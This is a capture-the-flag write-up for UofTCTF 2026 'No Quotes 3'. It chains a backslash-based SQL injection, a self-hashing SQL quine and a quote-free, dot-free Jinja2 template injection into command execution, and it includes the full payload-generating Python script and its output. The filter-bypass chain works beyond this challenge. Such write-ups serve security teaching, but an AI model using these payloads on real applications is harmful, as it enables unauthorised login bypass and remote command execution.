mis4nthr0pia

UofTCTF 2026 – No Quotes 3


Difficulty: Hard but Fun

1. Challenge Overview

We are given a Flask application that mimics a login portal. The goal is to access the internal /home route and read the flag using the /readflag binary.

The Obstacles:

  1. Strict WAF: A waf() function explicitly blocks single quotes ('), double quotes ("), and periods (.).
  2. Secure Login Logic: The application verifies credentials by checking if the returned database row exactly matches the input username and the SHA256 hash of the input password.
  3. SSTI: The vulnerability lies in the /home route, where render_template_string is used on the session user, but reaching it requires bypassing the login first.

2. Vulnerability Analysis

The WAF (No Quotes, No Periods)

The WAF makes standard attacks impossible.

  • SQL Injection: You can’t use ' to break out of string literals.
  • SSTI: You can’t use config.__class__ (contains a period) or ['os'] (contains quotes).

The “Swallow” (SQL Injection)

The application uses an f-string to build the query:

f"WHERE username = ('{username}') AND password = ('{password}')"

Since we cannot use quotes to close the string, we use a backslash (\) in the username.

  • Input: payload\
  • Result: username = ('payload\') AND password = ('...')

The backslash escapes the closing quote. The database now views the entire middle section (including AND password = () as part of the username string. This “swallows” the query logic, allowing our password input to become raw SQL commands.

The “Hash Quine” (Logic Bypass)

The application performs this check:

if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]: # Fail

This is the “Double Check” with a twist. We need to inject a SQL query (the password) that returns the SHA256 hash of itself.

In computer science, a program that outputs its own source code is a Quine. Here, we need a Hash Quine:SHA256(Input_SQL) == Database_Output

3. Developing the Exploit

We need to chain three specific bypasses.

Step 1: The Quote-less, Dot-less SSTI

We need to execute config.__class__.__init__.__globals__['os'].popen('/readflag').read(). But we can’t use . or '.

The Bypass: We use Jinja2 filters and the dict() constructor.

  1. Generating Strings: dict(os=1)|list|first creates the string "os" because dict(os=1) creates {'os': 1}.
  2. Accessing Attributes: Instead of obj.attr, we use obj|attr("attr").
  3. Accessing Items: Instead of obj['key'], we use obj|attr("__getitem__")("key").

The Payload Logic:

# Target:
config.__class__ 
# Payload:
config|attr(dict(__class__=1)|list|first)

We chain this logic to reach the os module and execute commands.

Step 2: The SQL Swallow

We append a backslash \ and close the Jinja payload with }} to our username.

  • Username Payload: {{ ... SSTI ... }}\

This forces the database to ignore the original query structure and interpret our password as the new query logic.

Step 3: The Hash Quine

We use a standard SQL Quine structure wrapped in MySQL’s SHA2() function.

Standard Quine: REPLACE(T, $, T) Hash Quine: SHA2(REPLACE(T, $, T), 256)

We also need to handle the Hex Encoding issue (Polyglot Quine) because we pass our strings as Hex to avoid quotes.

Final Structure:

UNION SELECT <User_Hex>, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)

4. The Solution Script

Here is the complete Python script to automate the generation of the Quine.

import binascii

def to_hex(s):
    return "0x" + binascii.hexlify(s.encode()).decode()

def generate_ssti_payload():
    # Helper to generate a string literal in Jinja: "text" -> dict(text=1)|list|first
    def S(text): 
        return f"dict({text}=1)|list|first"

    # Helper for attribute access: obj.attr -> obj|attr("attr")
    def Attr(obj, attr):
        return f"{obj}|attr({S(attr)})"

    # Helper for calling methods: obj.method(arg)
    def Call(obj, method, arg):
        return f"{obj}|attr({S(method)})({arg})"

    # 1. Build the path: config.__class__.__init__.__globals__['os']
    p = "config"
    p = Attr(p, "__class__")
    p = Attr(p, "__init__")
    p = Attr(p, "__globals__")
    p = f"{p}|attr({S('__getitem__')})({S('os')})"

    # 2. Build the command: .popen(request.args.get('cmd'))
    # We use request.args.get('cmd') so we don't have to construct the string "/readflag" inside the SSTI
    req_args = Attr("request", "args")
    cmd_arg = Call(req_args, "get", S("cmd"))

    p = Call(p, "popen", cmd_arg)

    # 3. Read output: .read()
    p = f"{Attr(p, 'read')}()"

    # Wrap in {{ }} and add the backslash for SQL injection
    return "{{" + p + "}}\\"

def solve():
    # --- 1. Construct Username (SSTI + Swallow) ---
    ssti_payload = generate_ssti_payload()
    u_hex = to_hex(ssti_payload)

    # --- 2. Construct Password (Hash Quine) ---
    # The template uses '$' (0x24) as a placeholder.
    # It wraps the reconstruction in SHA2(..., 256) to match the Python check.
    template = f") UNION SELECT {u_hex}, SHA2(REPLACE($, 0x24, CONCAT(0x3078, LOWER(HEX($)))), 256)#"

    # Calculate hex of the template itself
    h = to_hex(template)

    # Replace placeholder with the hex string
    final_password = template.replace("$", h)

    # --- 3. Execute ---
    # 'cmd' parameter is used by our SSTI payload to execute /readflag
    params = {"cmd": "/readflag"}

    data = {
        "username": ssti_payload,
        "password": final_password
    }

    print(data)

if __name__ == "__main__":
    solve()
    ```

# 5. The Winning Query

Running the script generates the crafted Quine query to use for attacking.

```json
{'username': '{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\\', 'password': ') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#'}

Now, if we submitted this to the form, the query would become like this:

SELECT username, password FROM users WHERE username = ('{{config|attr(dict(__class__=1)|list|first)|attr(dict(__init__=1)|list|first)|attr(dict(__globals__=1)|list|first)|attr(dict(__getitem__=1)|list|first)(dict(os=1)|list|first)|attr(dict(popen=1)|list|first)(request|attr(dict(args=1)|list|first)|attr(dict(get=1)|list|first)(dict(cmd=1)|list|first))|attr(dict(read=1)|list|first)()}}\') AND password = (') UNION SELECT 0x7b7b636f6e6669677c617474722864696374285f5f636c6173735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f696e69745f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f676c6f62616c735f5f3d31297c6c6973747c6669727374297c617474722864696374285f5f6765746974656d5f5f3d31297c6c6973747c6669727374292864696374286f733d31297c6c6973747c6669727374297c61747472286469637428706f70656e3d31297c6c6973747c66697273742928726571756573747c61747472286469637428617267733d31297c6c6973747c6669727374297c617474722864696374286765743d31297c6c6973747c666972737429286469637428636d643d31297c6c6973747c666972737429297c61747472286469637428726561643d31297c6c6973747c66697273742928297d7d5c, SHA2(REPLACE(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923, 0x24, CONCAT(0x3078, LOWER(HEX(0x2920554e494f4e2053454c454354203078376237623633366636653636363936373763363137343734373232383634363936333734323835663566363336633631373337333566356633643331323937633663363937333734376336363639373237333734323937633631373437343732323836343639363337343238356635663639366536393734356635663364333132393763366336393733373437633636363937323733373432393763363137343734373232383634363936333734323835663566363736633666363236313663373335663566336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383566356636373635373436393734363536643566356633643331323937633663363937333734376336363639373237333734323932383634363936333734323836663733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383730366637303635366533643331323937633663363937333734376336363639373237333734323932383732363537313735363537333734376336313734373437323238363436393633373432383631373236373733336433313239376336633639373337343763363636393732373337343239376336313734373437323238363436393633373432383637363537343364333132393763366336393733373437633636363937323733373432393238363436393633373432383633366436343364333132393763366336393733373437633636363937323733373432393239376336313734373437323238363436393633373432383732363536313634336433313239376336633639373337343763363636393732373337343239323832393764376435632c2053484132285245504c41434528242c20307832342c20434f4e434154283078333037382c204c4f574552284845582824292929292c203235362923)))), 256)#')

Analysis of the constructed query

To understand why this works, look at how the Database interprets our injection versus how Python sees it.

The Database Query (Parser View): The username field “swallows” the first part of the password check.

SELECT ... WHERE username = 
('{{...}}\') AND password = (')  -- All of this is ONE string (the username)
UNION SELECT                     -- Real SQL Command starts here
  0x7b7b...,                     -- Returns our SSTI payload
  SHA2(REPLACE(...), 256)#       -- Returns SHA256(Input_Password)

The Python Check:

  1. Python hashes our input final_password.
  2. Database executes the Quine and returns SHA2(final_password).
  3. The values match.
  4. User is logged in as {{ config... }}.
  5. Flask renders the template, executing /readflag.

6. Result

Logging in with the query successfully bypasses the WAF, satisfies the strict login check, and executes the readflag binary.

Flag:

uoftctf{r3cuR510n_7h30R3M_m0M3n7}
Posted in:

Leave a Reply

Your email address will not be published. Required fields are marked *